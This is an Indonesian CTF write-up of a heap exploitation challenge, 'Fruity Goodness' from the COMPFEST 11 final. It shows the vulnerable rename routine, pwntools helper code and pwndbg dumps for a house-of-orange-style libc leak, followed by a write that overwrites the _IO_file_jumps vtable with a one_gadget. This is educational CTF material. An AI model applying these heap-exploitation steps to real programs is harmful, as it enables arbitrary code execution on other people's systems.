COMPFEST 11 Final - Fruity Goodness

hanya soal ini yang saya selesaikan selama ctf berlangsung, sad af.

analisa

==================================================
WELCOME TO FRUIT WAR v6.9
I'm still a noob C coder :(, please report any bugs you find
I'm also poor so i cant pay you :(
Hopefully you have fun!
==================================================
1. I want a new fruit
2. I want to train my fruit
3. I want to list all my fruits
4. I want out :(
Your choice:

Soal heap dengan fungsi view(), add(), dan edit(), tanpa free/delete(). Struktur dari fruit,

struct fruit {
    int coolness;
    int tastiness;
    int number;
    char* name;
    struct fruit *next_fruit;
    int level;
}

Ada sedikit twist pada bagian edit() (menu train pada soal), dimana hanya bisa mengubah nama fruit ketika fruit coolneess dan tastiness lebih dari 50. Untuk menaikkan nilai coolneess dan tastiness ini, fruit perlu ditrain terlebih dahulu dengan pertambahan nilai yang random.

    fruit_to_train->coolness += rand() % 10 + 1;
    fruit_to_train->tastiness += rand() % 10 + 1;
    ...
    if ( fruit_to_train->coolness <= 49 || fruit_to_train->tastiness <= 49 ) {
        puts("Fruit Trained!");
    }
Bug terletak pada bagian edit(), karena dapat mengubah nama fruit tanpa ada batasan panjang yang sesuai pada pembuatan pertamanya.
    puts("Would you like to rename this fruit? (y/n)");
    fgets(choice, 5, stdin);
    if ( strchr(choice, 'y') ) {
        puts("How long do you want this fruit's name to be? (Max 4096 characters)");
        scanf("%d", &length);
        getchar();
        if ( length > 4096 ) {
            puts("NO! BAD!");
            exit(-1);
        }
        fruit_number = alloca(16 * ((length + 15LL) / 0x10uLL));
        p_new_name = (char (*)[])&fruit_number;
        puts("What do you want this fruit's name to be?");
        read(0, p_new_name, length);
        strncpy(fruit_to_train->name, p_new_name, length);
    }

exploit

Berikut beberapa fungsi untuk memudahkan interaksi dengan soal,

def add(length, name):
    r.sendlineafter('choice:\n', '1')
    r.sendlineafter(')\n', str(length))
    r.sendlineafter('?\n', name)

def train(idx, length, name):
    r.sendlineafter('choice:\n', '2')
    r.sendlineafter('train?\n', str(idx))
    cond = 'Trained!' in r.recvline(0)
    while cond:
        r.sendlineafter('choice:\n', '2')
        r.sendlineafter('train?\n', str(idx))
        tmp = r.recvline(0)
        cond = 'Trained!' in tmp
    r.sendlineafter(')\n', 'y')
    r.sendlineafter(')\n', str(length))
    r.sendlineafter('?\n', name)

def view():
    r.sendlineafter('choice:\n', '3')
    dump = []
    while '1. I want a new fruit' not in r.recvline(0):
        c = []
        tmp = r.recvline(0)
        while '========================================' not in tmp:
            c.append(tmp.split(': '))
            tmp = r.recvline(0)
        dump.append(c)
    return dump

Ide pertamanya adalah mendapatkan leak libc dengan unsorted bin free list. Iya, walaupun gak ada free() di soal, free ini bisa didapat dengan mengalokasi chunk yang lebih besar daripada top chunk, cek lebih lanjut di stage 1 house of orange. btw, karena ada batasan malloc sebesar 0x1000, ubah dulu top chunk size jadi dibawah 0x1000.

    add(0x48, 'A' * 0x47)
    add(0x18, 'B' * 0x17)

    #  pwndbg> dq *(long*)$rebase(&first_fruit) 40
    # 0000555555559260     0000000000000000 0000000000000000
    # 0000555555559270     0000555555559290 00005555555592e0
    # 0000555555559280     0000000000000000 0000000000000051
    # 0000555555559290     4141414141414141 4141414141414141
    # 00005555555592a0     4141414141414141 4141414141414141
    # 00005555555592b0     4141414141414141 4141414141414141
    # 00005555555592c0     4141414141414141 4141414141414141
    # 00005555555592d0     0041414141414141 0000000000000031
    # 00005555555592e0     0000000000000000 0000000000000001
    # 00005555555592f0     0000555555559310 0000000000000000
    # 0000555555559300     0000000000000000 0000000000000021
    # 0000555555559310     4242424242424242 4242424242424242
    # 0000555555559320     0042424242424242 0000000000020ce1 <--- top chunk 0x20ce1

    payload  = 'B' * 0x18
    payload += '\xe1\x0c\x00' # 0xce1
    train(1, len(payload), payload)

    # pwndbg> dq *(long*)$rebase(&first_fruit) 40
    # ...
    # 00005555555592f0     0000555555559310 0000000000000000
    # 0000555555559300     0000000000000001 0000000000000021
    # 0000555555559310     4242424242424242 4242424242424242
    # 0000555555559320     4242424242424242 0000000000000ce1 <--- top chunk 0x20ce1

Seharusnya alokasi malloc dengan ukuran lebih dari 0xce0, akan membuat heap pada page baru dan top chunk sebelumnya akan di free dan masuk ke unsorted bin.

    add(0xcf8, 'C')
    # pwndbg> dq *(long*)$rebase(&first_fruit) 40
    # ...
    # 00005555555592f0     0000555555559310 0000555555559330
    # 0000555555559300     0000000000000001 0000000000000021
    # 0000555555559310     4242424242424242 4242424242424242
    # 0000555555559320     4242424242424242 0000000000000031
    # 0000555555559330     0000000000000000 0000000000000002
    # 0000555555559340     000055555557a010 0000000000000000
    # 0000555555559350     0000000000000000 0000000000000c91
    # 0000555555559360     000015555551cca0 000015555551cca0 <--- libc leak

untuk dapetin leak-nya ubah fruit->name ke ...360. fruit->name di entri ke 1 sudah menunjuk ke ...310 jadi yang perlu diubah hanya LSB-nya saja dari 0x10 jadi 0x60.

    payload  = 'A' * 0x60
    payload += '\x60'
    train(0, len(payload), payload)

    # pwndbg> dq *(long*)$rebase(&first_fruit) 40
    # ...
    # 00005555555592d0     4141414141414141 4141414141414141
    # 00005555555592e0     4141414141414141 4141414141414141
    # 00005555555592f0     0000555555559360 0000555555559330
    # 0000555555559300     0000000000000001 0000000000000021
    # 0000555555559310     4242424242424242 4242424242424242
    # 0000555555559320     4242424242424242 0000000000000031
    # 0000555555559330     0000000000000000 0000000000000002
    # 0000555555559340     000055555557a010 0000000000000000
    # 0000555555559350     0000000000000000 0000000000000c91
    # 0000555555559360     000015555551cca0 000015555551cca0
    # 0000555555559370     0000000000000000 0000000000000000

    leak = view()
    leak = leak[1][1][1][:6]
    leak = u64(leak.ljust(8, '\x00'))

    libc.address = leak - 0x1e4ca0
    print 'libc', hex(libc.address)

Karena sudah mendapatkan leak libc, seharusnya sudah lebih mudah karena yang perlu dilakukan hanya mengubah fruit->next_fruit->name ke salah satu hook atau vtable di libc. Setelah itu tinggal ubah(edit()) nama di fruit->next_fruit jadi one_gadget. Pada exploit ini, saya menggunakan vtable dari std I/O, _IO_file_jump.

    payload  = 'A' * 0x60
    payload += p64(libc.address + 0x1e65d8) # _IO_file_jump
    train(0, len(payload), payload)

    payload  = 'A' * 0x58
    payload += p64(1)
    train(0, len(payload), payload) # fix fruit->next_fruit->number

    payload  = p64(libc.address + 0x106ef8) # one_gadget

profit.

the real challenge dan sedikit rant

Soal ini terlihat mudah pada awalnya, tapi saya terjebak pada tahap akhir untuk mencari function pointer yang dapat dioverwrite pada libc. Teknik spray n pray disini juga ga bisa digunakan karena saat edit(), read() tidak langsung ke fruit->name, tapi lewat value di stack terlebih dahulu lalu strncpy() setelahnya ke heap. strncpy ini akan men-copy null terminated string dari src ke dst. plus, Pointer x86_64 selalu memiliki null dan itulah sebabnya kenapa tidak bisa spray one_gadget di libc.

    read(0, p_new_name, length);
    strncpy(fruit_to_train->name, p_new_name, length);

btw, saya baru ingat kalau vtable std I/O, _IO_file_jump ini writeable setelah membaca salah satu writeup dari bushwhackers - TokyoWesterns CTF 2019 - printf, tapi sayangnya ini baru teringat pas 10 menit menjelang selesai.

Lepas dari masalah mencari pointer yang bisa dioverwrite, the real challenge sebenarnya adalah membuat exploit ini lebih cepat karena usleep yang lumayan lama saat setiap kali edit(). Ini sebenarnya lebih mengganggu menurut saya karena terbukti selama 5 menit terakhir saya hanya mendapatkan 2 flag dari lawan, plus, instance pada soal ini yang hidup hanya beberapa dari semua tim (tidak ada waktu untuk lapor ke panitia >.<). btw, mungkin ini lebih kepada saran kepada para challenge designer kedepannya, kalau memang tidak menyangkut bagaimana soal ini dapat diselesaikan, lebih baik tidak ditambahkan kalau bisa :). Bukan menyalahkan penggunaan usleep disini karena untuk soal jeopardy yang bisa fire and forget, time limit bisa tidak perlu dipedulikan, tapi untuk attack defense yang menyangkut dengan tick dsb… ¯\_(ツ)_/¯

comments powered by Disqus